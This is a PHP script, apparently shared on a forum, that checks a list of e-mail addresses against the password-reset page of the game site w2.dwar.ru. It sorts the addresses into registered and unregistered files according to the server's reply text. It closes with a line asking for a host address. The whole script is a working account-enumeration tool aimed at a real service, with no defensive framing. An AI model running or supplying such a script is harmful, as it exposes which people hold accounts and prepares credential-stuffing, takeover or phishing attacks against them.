<?php
set_time_limit(0);
error_reporting(6143);
#configs
$siteName="w2.dwar.ru";
$pageName="send_password.php";
$formName="form%5Bemail%5D=";
$sourceName="emails.txt";
$reggedName="regged.txt";
$unreggedName="unregged.txt";
$hzName="hz.txt";
$reggedStr="Контро";
$unreggedStr="e-mail не зар";
$mailCount=0;
$good=0;
$bad=0;
$hz=0;
//удаляем старые файлы
@unlink($reggedName);
@unlink($unreggedName);
@unlink($hzName);
echo "<i>Start working...
";
//открываем файл
$sourceFile=fopen($sourceName,"r");
if(!$sourceFile)
{
echo "Cant find source!";
die();
}
while(!feof($sourceFile))
{
$email=fgets($sourceFile,50);
if (strlen($email)>2)//проверка на то, ч
{
$mailCount++;
//коннектимся
$connect=fsockopen($siteName,80,$errno,$errstr,15);
if($connect)
{
//меняем все @ на %40
$emaildat=$formName.str_replace("@","%40",$email);
//готовим запрос
$out ="POST /".$pageName." HTTP/1.1\r\n";
$out.="Host: ".$siteName."\r\n";
$out.="Referer: http://".$siteName."/".$pageName."\r\n";
$out.="Connection: Close\r\n";
$out.="Content-Length: ".strlen($emaildat)."\r\n";
$out.="Content-Type: application/x-www-form-urlencoded\r\n\r\n";
$out.=$emaildat;
//echo $out."
";
$req="";
//отправляем запрос
fwrite($connect,$out);
//получаем ответ
while (!feof($connect))
$req.=(fgets($connect, 128));
//блок проверки ответа. если не зареганое и не реганое-кидаем в хз) иначе если не реганное, то в анрег. иначе в ок
if (strpos($req,$reggedStr)===false && strpos($req,$unreggedStr)===false)
{
$filePer=fopen($hzName,"a+");
fwrite($filePer,$email."\n");
$hz++;
//echo "fuck!";
}
else if (strpos($req,$reggedStr)===false)
{
$filePer=fopen($unreggedName,"a+");
fwrite($filePer,$email."\n");
$bad++;
//echo "ne ok";
}
else
{
$filePer=fopen($reggedName,"a+");
fwrite($filePer,$email."\n");
$good++;
//echo "ok!";
}
fclose($filePer);
fclose($connect);
sleep(1);
}
else
echo "Cant connect
";
}
}
//выводим стату
echo "Total emails: ".$mailCount."
";
echo "Regged accs: ".$good."
";
echo "Unregged accs: ".$bad."
";
echo "Hz accs: ".$hz."
";
echo "Done.</i>";
?>
humbsup:можно адрес хоста, please
